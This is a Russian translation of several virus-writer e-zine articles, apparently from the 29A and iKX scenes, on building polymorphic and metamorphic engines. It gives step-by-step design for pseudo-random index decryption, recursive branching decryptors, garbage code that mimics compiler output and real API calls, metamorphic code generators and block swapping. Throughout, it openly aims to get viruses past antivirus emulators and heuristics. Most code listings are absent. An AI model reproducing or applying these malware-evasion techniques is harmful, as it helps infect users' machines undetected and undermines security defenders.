Когда это возможно, избегайте линейной расшифровки. Даже если у нас 10-ти килобайтный декриптор, если мы сделаем основной цикл (который легко определяется эмулятором) и будем последовательно обращаться к зашифрованным данным, глупо делать слишком сложный движок, так как многие эмуляторы используют специальную технику, чтобы побеждать сложные декрипторы (они просто помещают брикпоинт после большого цикла и ждут, пока эта часть не будет расшифрованна). Я разработал две техники, призванные предотвратить подобный исход: PRIDE и ветвление.

Аббревиатура расшифровывается как Pseudo-Random Index DEcryption (псевдослучайная индексная расшифровка). Идею, лежащую в основе данной технологии, я вынашивал с самого начала, как начал писать полиморфные движки. Из-за нехватки информации мне пришлось исследовать и разрабатывать все самому и теперь делюсь этим с вами.

Идея состоит в том, что "нормальная" программа не делает последовательного чтения/записи в какой-либо области данных, как это делают декрипторы всех полиморфных вирусов. Есть несколько техник, которые пытаются избежать этого тем или иным образом (смотрите движок Zhengxi (29A#1) или MeDriPolEn в Squatter(29A#3)), например с помощью добавления нескольких байт, чтобы оставить "дыры", а затем проведения нескольких расшифровок одного и того же кода, но добавляя каждый раз другое число, чтобы в результате полностью расшифровать код.

Это также детектится AV-эмуляторами. Единственный путь спрятаться - это сделать подобие "случайного" доступа к данной памяти, чтобы надуть эмулятор и заставить их думать, что это часть нормального доступа к приложению, и это то, над чем я долго работал, прежде чем вывел формулу, очень легкую для применения в полиморфизме. Она адаптирована для побайтной расшифровки, но я объясню также, как адаптировать ее для остальных случаев.

Вот и все! Очень коротко, очень легко закодировать и очень рандомизировано. Давайте рассмотрим это по шагам, а я объясню математические аспекты формулы (почему именно так и никак иначе):

Сначала нужно разобраться, почему зашифрованная часть должна быть степенью 2-х. Если вы посмотрите на формулу, вы можете увидеть, что сгенерированный адрес расшифровки создается с помощью XOR, используя 2 случайных числа. Дело в том, что XOR (в отличии от ADD, SUB и т.д.) никогда не модифицирует бит выше, чем самый высший из двух чисел-операндов. Соответственно, мы можем определить максимальное число-результат (которое всегда будет степенью 2-х).

Теперь об используемых регистрах: Register1 используется в качестве модификатора Register2. Каждый раз получается псевдослучайное число, так как мы генерируем начальное значение случайным образом, к которому добавляем в каждом проходе цикла случайное значение. Работа этой формулы осуществляется Register2, и если вы посмотрите на него, вы увидите, что Register2 ничто иное как счетчик, поэтому вы можете увеличивать или уменьшать его значение - это остается на вас (или на ваш движок :) ). Просто держите его внутри заданных ограничений (между 0 и Encrypted_Data_Size).

Теперь реальная революция, произведенная данной формулой: после многих тестов я обнаружил, что когда у васе есть счетчик (Register2), и вы ксорите с ним случайное число (всегда в пределах заданных ограничений, я не собираюсь больше этого повторять :) ), вы получите другое число, и если вы добавите к ксорящемуся значение другое небольшое случайное число и увеличите значение счетчика, сделаете XOR со счетчиком в следующий раз, то получите другое случайное значение (гмм, да... - прим. пер.). Когда вы полностью закончите со счетчиком (от нуля до NumberPowerOf2), вы получите последовательность случайных чисел, которые включают все числа от 0 до NumberPowerOf2, но без повторов! Это вроде пермутации последовательности чисел, но вам не нужно хранить одномерный массив или генерировать какие-нибудь данные. Так как формула может рандомизировать все числа, она не очень сильно отличается от "стандартного" декриптора.

Просто примите это в расчет, иначе зашифрованная часть будет обработана два раза, что приведет к ее повреждению (я обнаружил это после нескольких часов соцерзания правильного движка и неправильно расшифрованного им кода и после написания тысяч маленьких тестовых программ :) ).

Этот метод, хотя он и весьма мощный, можно победить с помощью обнаружения циклов, поэтому мы должны сделать что-нибудь, чтобы избавиться от линейности выполенения декриптора. Самый легкий путь - это поместить несколько условных переходов в середину, но похоже, что эмуляторы обнаруживают, какие области кода более часто выполняются чем другие (или что-то вроде этого), поэтому я подумал об этом и создал следующую технику:

Эта технология, если скомбинировать ее с PRIDE, позволит нам победить обычные эмуляторы (конечно, с помощью обычных техник полиморфизма и генерации сложного мусора).

Когда вы взглянете на "законное" приложение, вы можете заметить, что в нем есть много условных переходов, и совершенно нормальным является то, что кусок кода не выполняется столько раз, сколько это делает расшифровывающий цикл. Мы должны решить эту проблему, и это можно сделать так:

Я думаю, что диаграмма дает ясное представление о технике, но я дам необходимые пояснения.

1. Первый шаг

Вы должны написать рекурсивную функцию, которую я буду называть "DoBranch". Эта функция должна управлять кодом, как если бы тот был деревом. В движок, туда где начинается конструирование декриптора, вы сначала вставляете инструкции, помещающие в регистры начальные значения. Как только вы ее написали и сгенерировали кое-какой мусор, вы вызываете "DoBranch". Учтите, что поскольку функция будет выполняться несколько раз (в конце концов, она же рекурсивная), не следует использовать фиксированных переменных в памяти. Используйте стек или индексные переменные.

2. Рекурсия рулит!

DoBranch получает контроль и не возвратится, пока с декриптором не будет закончено. Функция должна знать, на каком уровне рекурсии она находится, поэтому вам придется завести переменную, значение которой будет увеличиваться каждый раз, когда будет вызываться "DoBranch" (INC [RecursivityLevel] в самом начале). Каждый раз, когда вы будете возвращаться из функции, вам нужно будет уменьшать значение.

3. Сохраняйте адрес

Ловите момент, когда уровень рекурсии станет максимальным. Если он таким еще не стал, мы сохраняем адрес вставки инструкции в подготовленное нами множество переменных: ArrayOfJumps+ArrayOfJumpsNdx и увеличиваем значение ArrayOfJumpsNdx.

4. Код между переходами

Если вы еще не достигли желаемого уровня рекурсии, после сохранения текущего адреса (пункт 3), генерируйте мусор (немаленькое количество). Когда вы решите, что уже достаточно, сгенерируйте случайный условный переход. Он должен быть очень случайным, как например 'CMP Reg1, Reg2 / JA xxx' или что-нибудь в этом роде, причем Reg1 и Reg2 должны быть мусорными инструкциями (используемыми мусорными инструкциями), если это возможно. Есть огромное количество возможностей (другой возможный вариант - 'TEST Reg, Value / J(N)Z xxx', где Value - это степень от двойки - т.е. установлен только один бит).

Мы должны сохранить адрес созданного нами условного перехода, потому что мы не знаем, куда мы собственно должны перейти, поэтому нам надо будет подпатчить его чуть позже. Достаточно запушить адрес в стек.

Сохранив адрес, мы снова кодируем лист этого бинарного дерева: вы снова вызываете "DoBranch", а когда он возвращается... Вуаля! У нас закодирован полноценный переход, и, конечно, индекс вставки инструкции указывает на место, куда нужно было совершить переход. Поэтому мы достаем сохраненное значение из стека, вычисляем расстояние и сохраняем адрес перехода. После этой маленькой операции мы снова вызываем "DoBranch", уменьшаем [LevelOfRecursivity] и делаем RET.

5. Контроль количества ветвей кода, создаваемых переходами

Количество ветвей, создаваемых этой функции будет около 2^максимальный_уровень_рекурсии, поэтому учтите, что эта функция может сгенерировать огромный декриптор (я рекомендую 3 или 4 уровня рекурсии, что сгенерирует 8 или 16 ветвей).

6. Последний уровень рекурсии

Когда вы достигаете последнего уровня рекурсии, вы генерируете алгоритм расшифровки и все остальное. Убедитесь, что вы делаете это очень случайным образом, потому что поскольку эта часть кодируется 2^(максимальный уровень рекурсии), если ваш код будет очень похож, это не будет полиморфизмом.

Когда вы достигнете пары сравнение/условный_переход (та, которая определяет, продолжать расшифровку зашифрованной части или нет), вам вам необходимо закодировать сравнение и оставить переход так как есть, чтобы подождать, пока вернется функция "DoBranch", дабы быть уверенным, что все ветви уже закодированы. Поэтому мы сохраняем этот адрес в другой подготовленный массив, JumpsToComplete, точно так же, как мы это сделали с ArrayOfJumps.

Затем вставляем кое-какой мусор, кодируем переход на зашифрованную часть и делаем RET.

7. Окончательный возврат из "DoBranch"

После окончательного возврата из DoBranch, нам нужно обработать переходы, которые мы сохранили в JumpsToComplete. В этот раз мы будем использовать два массива, которые мы сконструировали, пока кодировали все ветви. Вся сила этой техники базируется на следующем:

1. Получаем первый адрес из JumpsToComplete

2. Выбираем случайным образом адрес из ArrayOfJumps

3. Обрабатываем адрес из JumpsToComplete таким образом, чтобы у нас получился условный переход на одно из мест дерева (случайным образом).

4. Делаем это со всеми адресами, находящимися в JumpsToComplete.

После того, как мы закончим, у нас будет декриптор, который будет вести себя точно так же, как и обычный, но вы никогда не будет знать наверняка, какая ветвь выполнится, потому что когда программа "прыгает" в цикл, выполняется случайное количество случайныйх сравнений и условных переходов, которые приведут к случайной части расшифровки. Согласно тому, что любая ветвь делает тоже, что и другие, нам неважно, какая из них выполнится. Таким образом мы прерываем линейность выполнения и сейчас декриптор "снаружи" напоминает нормальное приложение, а не цикл декриптора.

Мы увидели, что технология ветвления требует рекурсивность для простой реализации этой техники, но так как мы уже сделали ее, мы можем ориентировать весь наш движок на рекурсивные функции, особенно чтобы генерировать косвенные модификации регистра/памяти. Мы собираемся запрограммировать некоторые обычные функции рекурсивным образом, добавив переменную, которую я назвал "уровень рекурсии". Значение этой переменной увеличивается каждый раз, когда вызывается функция. Переменная используется для того, чтобы контролировать активные экземпляры этой функции (поэтому, когда мы достигнем определенного количества вызовом, мы сможем избежать уже ненужного рекурсивного вызова). Давайте посмотрим инструкцию 'MOV Reg,Value' и что случится, если мы напишем эту функцию, которая будет генерировать подобные инструкции рекурсивным образом:

1. Определите тип MOV

Обычно я использую 'MOV Reg, Value', 'PUSH Value/POP Reg' и 'LEA Reg, [Value]', но это я оставляю на вас. У 'MOV Reg, Value' есть другой опкод (C7 C?), но постарайтесь избежать его, так как ни один компилятор не сгенерировал бы его (хотя это прекрасно будет работать, так как это опкод для 'MOV DWORD PTR [Address], Value' в режиме работы с регистрами), к тому же есть более оптимизированные пути сделать это (конкретно однобайтовые опкоды B?).

Теперь, когда у нас есть этот MOV, мы приравниваниваем им "минимальный шанс", используя их, например, в 25% вызовов, и используем достаточно глубокий уровень рекурсии (на мой взгляд, достаточно 5 или 6). Назовем эту функцию "DoMOVRegValue". Поэтому в самом начале мы можем поместить:

И, наконец, мы делаем переход сюда вместо обычного RET:

2. Не только эта функция, но гораздо больше!

Чтобы повысить сложность генерируемого кода, мы должны сделать другие функции по такому же принципу как DoMOVRegValue. Мы можем написать DoMOVRegReg, DoMOVRegMem (которая будет создавать 'MOV Reg,[Address] или нечто вроде этого), DoMOVMemReg и модификации (DoADDRegValue, SUB, XOR и так далее). Мы должны быть предельно внимательны, чтобы быть уверенными в отсутствии ошибок в коде. Таким образом DoMOVRegValue будет генерировать не только прямые перемещения, о которых мы говорили ранее, но и другие варианты, например:

Это был самый простой случай, но что, если мы сделаем следующее?:

Конечно, мы не должны использовать только ADD, но также и XOR, SUB и так далее. Плюс, мы должны использовать разные типы аргументов:

(Это внутри DoMOVRegValue. Сюда мы попадаем случайным образом, так как есть и другие варианты.)

Таким образом, возможности безграничны. Мы можем скомбинироваь все созданные нами функции, чтобы генерировать относительно сложные виды MOVинга. Мы можем сделать то же самое с DoMOVRegReg. Мы можем также использовать другие функции: DoPUSHReg, DoPUSHMem и так далее. Давайте взглянем на примеры глубокой рекурсии:

После этого вы сможете увидеть, насколько мощна рекурсивная генерация кода и как простой MOV может превратиться в сложный набор присвоений от памяти к регистру и наоборот, давая в результате нужное значение в нужном регистре. Многие функции можно сделать подобным образом. Позже мы рассмотрим как генерировать мусор.

Но даже самый рекурсивный движок в мире может пустить всю работу насмарку, если его можно обнаружить эвристическим методом, потому что он помещает странные инструкции или структуры, свойственные полиморфным движкам. Например:

или что-нибудь в этом роде, так как ни одно нормальное приложение не сделало бы этого.

Что с ними делать? Все просто: у вас должен быть массив "незавершенных вызовов". Я имею ввиду следующее: вы кодируете инструкцию CALL, но еще не кодируете саму процедуру, на которую ссылается вызов. Затем вы сохраняете адрес этой инструкции в массиве, а в случайном месте или конце декриптора, движок генерирует процедуры и завершает CALL'ы, занесенные в массив, чтобы они ссылались на сгенерированные процедуры. Также хорошим способом может быть прегенерация некоторых процедур до входной точки декриптора и создание ссылающихся на них вызовов (комбинируя этот тип вызовов с "незавершенным" типом).

Таким образом, декриптор будет больше похож на приложение, сгенерированное компилятором, по крайней мере, что касается инструкций CALL. Другой мощный подход состоит в использовании фреймов стека внутри сгенерированных процедур: вы делаете PUSH EBP / MOV EBP, ESP в начале и POP EBP в конце процедуры. На первый взгляд будет сложно определить, является ли декриптор продуктом компилятора или нет. Еще лучше будет, если вы используете стек для передачи значений! :)

Еще избегайте такого:

Вы думаете, это нормально для обычного приложения? Эмулятор думает точно также :). Избегайте подобных вещей, особенно вставки случайных инструкций, на которые никто не ссылается.

Вы когда-нибудь сканировали вирус, который будучи очень навороченным с точки зрения полиморфизма, вставляет однобайтовые инструкции вроде CMC, STI и так далее? Если вы попробуете это, например, с AVP, вы можете заметить, что антивирус автоматически входит в глубокое сканирование. Почему? Потому у него очень сильные подозрения относительно использования подобных инструкций. Кто использует CMC в наши дни? К тому же антивирус осведомлен о том, что генераторы мусорных инструкций могут вставлять множество таких бессмысленных инструкций, поэтому когда он находит относительно большое количество таких инструкций (а некоторые инструкции он отмечает особо, даже если она всего одна), он решает, что файл настолько подозрителен, что его стоит подвергнуть глубокому сканированию. Может быть, это и не страшно, но средний пользователь может подумать, что это нечто больше, чем обычное приложение.

Этот совет касается и некоторых 16-ти битных инструкций, используемых win32-приложениями. Когда я писал движок TUAREG, я поместил практически все инструкции, которые мог использовать генератор мусора. Среди них были 8-ми, 16-ти и 32-х битные. Затем, когда я сканировал его с помощью AVP, эмулятор всегда переключался в режим глубокого сканирования. Поразмыслив над этим, я убрал генерацию некоторых 16-ти битных инструкций и AVP не стал напрягаться в этот раз. Я не знаю, какие точно инструкции заставили AVP выставить эвристический флаг, но тем не менее, я рекомендую использовать как можно меньше 16-ти битных инструкций.

3. Продвинутая генерация мусора

Сейчас мы перейдем к одной из моих любимых тем: генерации мусора. Лично мое мнение заключается в том, что основной силой полиморфного движка является способность генерировать мусор, так мусор - это код, заставляющий эмуляторы отказаться от отладки или поможет определить им истинную сущность программы. Поэтому, чем более "нормальным" выглядит мусор, тем менее подозрительным выглядит декриптор, а чем сложнее мусор, тем меньше вероятность, что эмулятор сможет отэмулировать декриптор. Давайте рассмотрим некоторые типы мусора. Здесь приведены далеко не все (и, разумеется, не описываются самые простые). Включите ваше воображение!

В наши дни это должно быть в каждом движке, если подрузамевается, что он достаточно сложен. Какие приложения не делают тех или иных обращений к памяти в первых 300 байтах? Только очень странные или зараженные программы с присоединенным полиморфным вирусом, который не использует инструкций записи в памяти (кроме того, что непосредственно касается расшифровки тела вируса).

Однако трудность состоит в том, что если в MS-DOS мы имели доступ ко всей памяти и могли читать откуда захотим, в win32 это не так, и попытка прочитать из "откуда захотим", скорее всего, приведет к исключению. Запись в память под win32 еще более затруднена, так как мы может писать только в те секции, которые помечены как WRITEABLE в заголовке PE. Поэтому нам надо использовать некоторые приемы, чтобы иметь области памяти, где бы мы могли и писать и читать.

В почти всех исполняемых win32-файлах есть секция, которая называется ".bss". Ее физический размер (место, занимаемое в файле) равен нулю, но виртуальный может быть сколь угодно большим (обычно ее размер равен по крайней мере 1000h байтам, но в большим программах ее размер может доходить до 64K и более). Мы можем использовать эту секцию, чтобы считывать и писать практически все, что угодно, но наш вирус должен всегда запускаться первым, не используя EPO или другие подобные техники, так как приложение должно настроить в этой секции все необходимые для ее нормальной работы данные. Есть другое решение, например, использовать пустые дыры в вирусе, которые мы используем для получения различных сведений в дальнейшем, например, буфер для текущей директории, получаемой с помощью GetCurrentDirectory. Так как надобность в этом поле на определенном этапе отпадает, мы можем использовать его, если оно достаточно велико, так же, как и секцию ".bss", для чтения и записи различных значений.

Поэтому как только у нас есть необходимое место, и мы уверены, что оно как минимум 256 или 512 байтов длиной, мы можем написать функцию для получения случайного адреса памяти, например:

В EAX будет возвращен случайный адрес памяти, выравненный по границе двойного слова.

Ок, после того, как мы сгенерировали хорошие структуры кода в декрипторе и доступ к памяти, нам необходимо добавить вызовы API-функций, чтобы обмануть возможные подозрения со стороны AV-программы.

Поместить их не так легко, так как мы должны вызывать только те, описание и формат которых нам известен. Также нам нужно найти их и сосканировать директорию импорта жертвы, поэтому мы должны из виртуального адреса вывести физический (так как мы знаем только о директории импорта из заголовка PE), а затем физический адрес сконвертировать в виртуальный адрес API-функции.

Вот метод, который я использовал (предполагается, что носитель вируса промэппирован в память):

1. Мы получаем виртуальный адрес директории импортов, которая находится по адресу PE_заголовок+80h.

2. Теперь мы сканируем все секции файла, чтобы найти в какой секции находится нужный нам виртуальный адрес.

3. После нахождения секции мы вычитаем виртуальный адрес секции из виртуального адреса импорта, чтобы получить относительную позицию директории импортов в этой секции и добавляем результат к физическому адрес секции, чобы получить физический адрес импорта.

4. Теперь мы сохраняем значения, полученные нами, и начинаем сканировать промэппированную директорию импортов, как если бы она виртуальной, так как впоследствии программа будет загружена в память.

5. Мы сканируем импортированные модули и ищем знакомые функции, но при этом берем в расчет, что каждый раз, когда мы получаем RVA, мы должны сначала сконвертировать его в физический (это относится и к получению значению из масива относительных виртуальных адресов на имена функций), поэтому, имея RVA, мы вычитаем RVA из секции и добавляем физический адрес этой секции, поэтому мы ищем физический адрес имени функции.

Далее, когда мы находим нужные функции, мы соблюдаем получаем местонахождение текущего элемента массива импортированных функций. Мы добавляем к этому номеру виртуальный адрес этого массива, чтобы получить виртуальный адрес, где будет сохранен импортированный адрес.

6. Мы сохраняем этот номер и продолжаем поиск других функций.

После этого мы получаем адреса на импорты, где будут сохраняться виртуальные адреса функций. Теперь вызов вроде CALL [полученный_адрес] будет совершать вызов API-функции. Просто будте внимательны с параметрами и с функциями, которые требуют наличие буфера.

Другая вещь: так программисты из Micro$oft тупы или еще хуже, есть функции, которые могут повесить приложение, например GetModuleHandleA. Я попытался передать ей случайный указатель на имя модуля, чтобы получить его хэндл, но вместо того, чтобы возвратить ошибку вроде "неправильная строка" или "модуль не был найден" или еще что-нибудь вроде этого, возникло исключение, поэтому будьте внимательны с некоторыми функциями.

Мы уже видели потенциал рекурсивных вызовов. Теперь мы применим эт технику к мусору. Есть некоторые виды мусора, которые мы можем делать рекурсивным образом, например CALL'ы, случайные циклы и кое-что еще. Далее я объясню, как генерировать CALL'ы и случайные циклы.

Ранее я объяснял, как делать CALL'ы без создания подозрительных структур. Я говорил, что в конце декриптора (например), вы можете сгенерировать несколько процедур, которые будут вызываться этими CALL'ами. Чтобы создавать процедуры, мы должны использовать рекурсивность, поэтому нам нужно написать рекурсивную функцию DoGarbage. Это необходимо, чтобы внутри вызовов был более лучший мусор. Более того, так мы сможем сделать, чтобы в этих процедурах у нас были другие вызовы. Но будьте внимательны, так как может произойти что-нибудь вроде следующего:

Это приведет к зависанию декриптора, поэтому приложение никогда не запустится. Чтобы избежать этого, мы должны использовать массивы, чтобы сохранять "уровни" вызовов следующим образом:

Когда мы вступаем в часть движка, отвечающего за генерацию CALL'ов, мы должны увеличить значение переменной, в которой содержится текущий уровень рекурсии, дабы функции одного уровня не вызывали функции того же или более высшего уровня. Тогда мы можем избежать ситуаций, подобных вышеприведенной.

Случайные циклы также генерируются рекурсивным образом. Мы также должны контролировать глубину вложенных циклов, чтобы избежать слишком большоей здержки. Во время генерации цикла мы также должны вызывать DoGarbage, чтобы заполнить цикл (пустой цикл не совсем нормален, как вы знаете).

И, как вы понимаете, мы можем использовать DoMOVRegValue и все такие функции, которые мы написали, чтобы генерировать больше мусора: просто просто отведите регистр под мусор и получите случайное число и используйте эти функции.

Ок, эта статья получилась короче, чем я ожидал, но я надеюсь, что она будет полезна вам в плане написания вами новых полиморфных движков. Большая часть идей, описанных здесь, была использована мной в движке TUAREG, поэтому в исходном коде этого движка я иногда ссылаюсь на данную статью. Пока!

Это моя очередная статья, точнее уже третья по счету после 'Heuristic Technology' и 'Viric life and die theories', вышедших в DDT#1. Итак, приступим.

Хорошо, начнем с основ. Для тех, кто еще не знает что такое метаморфизм, скажу, что суть этой техники заключается в ПОЛНОМ изменении тела вируса без изменения его функциональности. Проще говоря, это то же самое, что и полиморфизм декриптора, но примененный ко всему телу вируса.

Ладно, ладно, я понимаю, что некоторые вещи не совсем ясны. Если Вы думаете, что метаморфизм это просто, то ошибаетесь. Я считаю, что для реализации этой техники нужно обладать высоким IQ, потому что Вы должны в уме просчитывать все возможные ошибки и быть терпеливым, иначе Вы никогда не допишете этот чертов вирус.

У нас есть одна большая проблема - как узнать состояние регистров процессора в результате выполнения какой-либо команды. Это очень просто в случае любого регистра, кроме ESP... Ладно, ESP мы обсудим в другой раз (не здесь), а сейчас поговорим об остальных регистрах. Решить нашу проблему можно двумя способами:

• узнавать значения регистров в тот момент когда мы модифицируем код

• эмулировать выполнение кода

Реализовать первый метод довольно просто как под DOS, так и под Win32. Просто представьте себе, что код Вашего вируса способен генерировать любую операцию (например, XOR) в процессе морфинга. Причем мы можем использовать различные пути для достижения требуемого результата, и можем, к примеру, делать тот же XOR с переменной которая содержит в себе значение нужного нам регистра вместо того чтобы использовать сам регистр. Это справедливо и для DOS и для Win32.

Второй способ является более продвинутым, но его реализация под DOS и Win32 очень сильно отличается. В случае DOS это выглядит проще, поскольку мы можем просто установить свой обработчик int 1 и оттрасировать весь код вируса, зная значения регистров после каждой команды и в то же время генерировать абсолютно отличный код для выполнения одной и той же задачи. Под Win32 все кардинально меняется, потому что у нас нет доступа к нашему любимому int 1. На данный момент нет надежного метода трассировки под Win32, хотя, скорее всего, это можно реализовать с помощью многозадачности (используя потоки) и эмуляции кода в момент исполнения. Но это только предположения - я не проверял это (пока).

У меня также есть еще один способ как обойти нашу проблему, но я расскажу о нем позже.

Что ж, я не уверен, правильно отражает ли название этого подзаголовка смысл того что я хочу Вам поведать, но по крайней мере, я надеюсь на это. Я имею в виду три возможных реализации метаморфизма:

• замена регистров (с использованием таблиц)

• мутация кода

• внутренний дизассемблер

Первое можно определить как простой метаморфизм, поскольку мы всего лишь изменяем имена регистров в теле вируса, не более того. То есть шанс, что антивирус обнаружит наше творение очень высок и для него это будет простой задачей если он использует маски. У нас есть пример реализации такого способа метаморфизма в вирусе моего друга Vecna, написанного им, когда он был членом группы 29A, который он назвал RegSwap.

Мутация кода гораздо мощнее, чем предыдущий метод, но для достижения того же результата он использует другую технику - вместо таблиц в него встроен небольшой дизассемблер. Пример такого вируса можно увидеть в ZCME и AZCME, созданных ZOMBiE (также из 29A). Но все же это также простой тип метаморфизма.

Но нирвана наступает, когда мы используем дизассемблер не просто для обмена регистров. Мы можем использовать его, для того, чтобы дизассемблировать все тело вируса и таким образом узнать какое значение регистров, нам необходимо в данном месте и вставить на это место различные математические операции, после выполнения которых мы получим нужное нам значение. Это считается очень продвинутой техникой вследствие сложности реализации и качества результатов. Я думаю, что такой тип метаморфизма является одним из методов для создания наиболее трудно обнаруживаемых вирусов.

Всю прелесть метаморфизма можно ощутить, если представить себе объединение мутации кода (замена регистров) с внутренним дизассемблером и различными путями вычисления нужного значения, используя разнообразные математические операции. Я считаю, что в этом случае мы будем иметь наивысшее качество выходного кода.

Но все еще остается один метод, который до этого я не описывал. Я не делал этого раньше, потому что это тема для отдельного разговора, так как это основной стержень моего проекта Itxoiten.

Я не знаю, размышлял ли кто-либо на эту тему до меня, (я считаю, что почти все, что можно придумать уже придумано, но все же...) но я хотел бы изложить свою идею.

Что значит Itxoiten? Itxoiten - это слово происходит из euskera (баскский язык) и означает ждать. И это все, что Вам остается делать, пока я не закончу свой проект :)

Это проект с использованием метаморфизма и, вероятно, мой первый вирус с данной техникой получит это имя. Хорошо, пока Вы не вышли из себя, я изложу свои размышления насчет того, что я собираюсь делать или, по крайней мере, основную концепцию.

Мой вирус будет иметь генератор кода, но не такой, как был описан в 'Viric life and die theories'. Новый генератор кода в первую очередь должен иметь интерпретационную структуру (interpretation of a structure - ITX), и генерировать код, обозначенный в ней, причем делать это всеми возможными путями. Вы можете себе представить это как карту дорог, и Вы вольны выбирать множество дорог для достижения цели. Но только представьте себе, что Вы можете поменять саму карту. С тем же самым движком, но другой ITX-структурой код, созданный нашим генератором будет абсолютно другим. Но на самом деле все не так просто, как я Вам здесь расписал. Допустим, замена таблицы - довольно простая операция (в принципе, замена на лету также проста). Вся сложность заключается в создании самой ITX-структуры. Она должна быть достаточно мощной, чтобы обрабатывать все возможные ситуации, в которых может оказаться Win32-вирус в процессе своей эволюции (да, я собираюсь создавать проект itxoiten для платформы Win32). К примеру, использование SEH потребует нестандартной таблицы, поскольку код для работы с SEH является не совсем обычным (использование регистра FS и пр.). Но подумайте обо всех возможных операциях Win32-вируса (Ring-3), и Вы увидите, что большинство из них связано с командой PUSH. Мы можем использовать это в своих целях, играя со значениями регистров, а затем толкая в стек тот или иной регистр. Или занесение значения в стек напрямую, но предварительно поиграв со значением ESP. А еще лучше и то и другое вместе. Представьте, какие возможности открываются перед нами, если применить это ко всему коду вируса.

Рисунок слева (или где у Вас там - прим. пер.) иллюстрирует некоторые основные действия нашего генератора.

1. Интерпретация. Генератор анализирует ITX-структуру соответствующим образом, а также инициализирует все необходимые переменные.

2. Морфинг. Генератор использует информацию, полученную из структуры, и генерирует новое тело нашего вируса опкод за опкодом.

3. Исправление ошибок. Генератор исправляет все смещения для CALL'ов, безусловные переходы, условные переходы и т. д., и производит поиск возможных ошибок в сгенерированном коде.

4. Экстернализация. Означает запись свежеиспеченного вируса в тело хозяина (не уверен - прим. пер.), временный файл или куда-либо еще.

Вот базовые принципы. Некоторые вещи могут измениться в будущем, но в основном все будет так, как я изложил. Я буду работать над форматом ITX-структуры, как и над генератором и надеюсь, что скоро получу нечто определенное.

Но, наверное, в вашем мозге возник другой вопрос... Не проще ли вместо метаморфного вируса (учитывая все усилия, которые придется приложить) создать хороший полиморфный. Первое о чем подумают многие - это то, что метаморфики мощнее (это действительно так), но Вам также может показаться, что это слишком медленно, и, помимо изменения размера (что можно также достичь в хорошем полиморфном движке) не имеет почти никаких преимуществ. Что ж, с помощью полиморфизма (естественно я говорю о полиморфизме в стиле Mental Driller'а) Вы поимели AV'еров. В конце концов, метаморфизм это всего лишь полиморфизм, примененный ко всему телу вируса, как я и говорил в начале этой статьи.

Это должно быть более мощным, чем обычный полиморфный движок, и я все еще хочу создать метаморфный вирус, по крайней мере, я попытаюсь. Мне все равно, поймают ли AV его быстрее чем вирус с моим последним полиморфным движком, но мне будет приятно осознавать, что метаморфного зверя создал я, а не кто-либо другой :)

Я по настоящему надеюсь, что Вы получили удовольствие читая этот небольшой документ. Я понимаю, что он мог показаться Вам скучным без практических примеров, которые я обычно вставляю в свои Путеводители по написанию вирусов, но иногда мой мозг подсказывает мне делать нечто похожее на эту статью.

Я всегда думал о метаморфизме как об основном оружии против AV'еров. Даже учитывая плохие стороны этой техники, это по-прежнему один из наших главных козырей.

Если у Вас есть какие-либо вопросы, советы или замечания просто напишите мне.

From here to eternity,

Billy Belcebu/iKX.

Приветствую вас снова, дорогие читатели. Я написал статью 'Metamorphism Essay' некоторое время назад и она вышла в Xine#4. Я не обещал написать продолжение, но у меня возникли некоторые идеи насчет метаморфизма (и других подобных вещей), так что мне захотелось написать новую статью на эту тему. Если Вам не понравилась первая часть рассказа о метаморфизме, у Вас нет причин читать эту. Так как это вторая часть, то я предполагаю, что первую Вы уже прочитали :). Кстати, спасибо Qozah/29A за поддержку и новые идеи.

Первая часть была моим первым вкладом как мембера iKX. Это хорошо, и у меня уже есть некоторые наработки, так что я могу научить Вас многим интересным вещам. Метаморфизм – это техника не для всех этих чайников, ламеров и прочих новичков и даже не для людей со средними навыками. Это действительно элитная техника (хотя я и не люблю это слово, за то, что оно дискриминирует людей и показывает всю их ламерность...). В этом документе я сделаю более глубокое описание некоторых методов, которые могут быть полезными под Win32, но не под DOS (я вообще забыл все, что связано DOS).

Нет, не пинайте меня. Это НЕ метаморфизм. Зато это может стать хорошим довеском к Вашему метавирусу. Просто посмотрите на вирус Bad Boy и Вы увидите как он перемещает блоки кода внутри себя. Пускай эти блоки достаточно длинны, чтобы AV нашел сканстроку для Вашего вируса, но представьте себе удлиннение и сжатие кода, своппинг регистров и пр... Это просто невероятно и недостижимо!

Давайте посмотрим на небольшую иллюстрацию того, какой должна быть структура вируса с четырьмя переставляемыми блоками:

Как Вы можете видеть, у нас есть два блока, которые не меняют своего положения (но внутри один из них все-таки делает это). Что ж, я думаю нужно объяснить некоторые термины, которые я использовал:

• Заголовок (Header): это то место, где мы храним глобальные данные (то есть те которые используются всеми блоками, например, базовый адрес ядра, API'шников и пр.), смещения всех блоков, которые будут изменяться с каждым вызовом BSE (block swapping engine – собственно, движок своппинга блоков) и, конечно же, длина каждого из блоков.

• Загрузочная область (Exec): место в коде, куда мы загружаем нужные нам блоки в правильном порядке и передаем им управление

• Блок (Block): блоки – это куски кода, которые могут выполняться в любом порядке, за некоторым исключением. Например, блок антиотладки, блок заражения и т. п.

• BSE: этот термин я использую для определения блока в котором содержится сам своппинговый движок. Задачей этого движка является перестановка нужных блоков, а также исправление значений соответствующих переменных в заголовке.

Хорошей идеей будет вместо последовательного исполнения блоков запускать их как потоки (или фиберы, но я бы все же рекомендовал использовать потоки), так чтобы их выполнение происходило одновременно и без задержек.

Я знаю, что нет ничего невозможного (Наполеон однажды сказал приблизительно следующее: "impossible is the adjective of the suckers"). В процессе реализации метода перестановки блоков возникают некоторые проблемы, обусловленные самими принципами. Первое – изменение всех смещений. Решение было найдено просто – достаточно вычислить дельта-смещение в самом начале кода. Но Вам будет непросто использовать локальные переменные в коде Ваших блоков. Вследствие этого Вам придется помещать все данные в заголовок. Другая проблема, которую я обнаружил, связана с последовательностью выполнения блоков. Здесь может быть два возможных решения:

• не использовать зависимых блоков :)

• использовать структуру типа

Конечно, Вам придется играть с битовыми полями в атрибутах блока и все зависит от Вас. В одном байте Вы можете определить все возможные зависимости блока. Используйте Ваше воображение :)

Еще одна проблема, свойственная этому методу – детектируемость. Это решается с помощью других техник, к примеру полиморфизма :)

[ Резюме ]

Это простая техника (конечно, не такая простая как заражение com-файлов методом перезаписи, но гораздо проще, чем техники, описанные ниже), но у нее есть свои преимущества... Я думаю будет неплохо, если Вы добавите ее в свой вирус. Я пока не видел подобных вирусов под Win32... Мммм... у меня возникла идея... X-D

[ Своппинг регистров ]

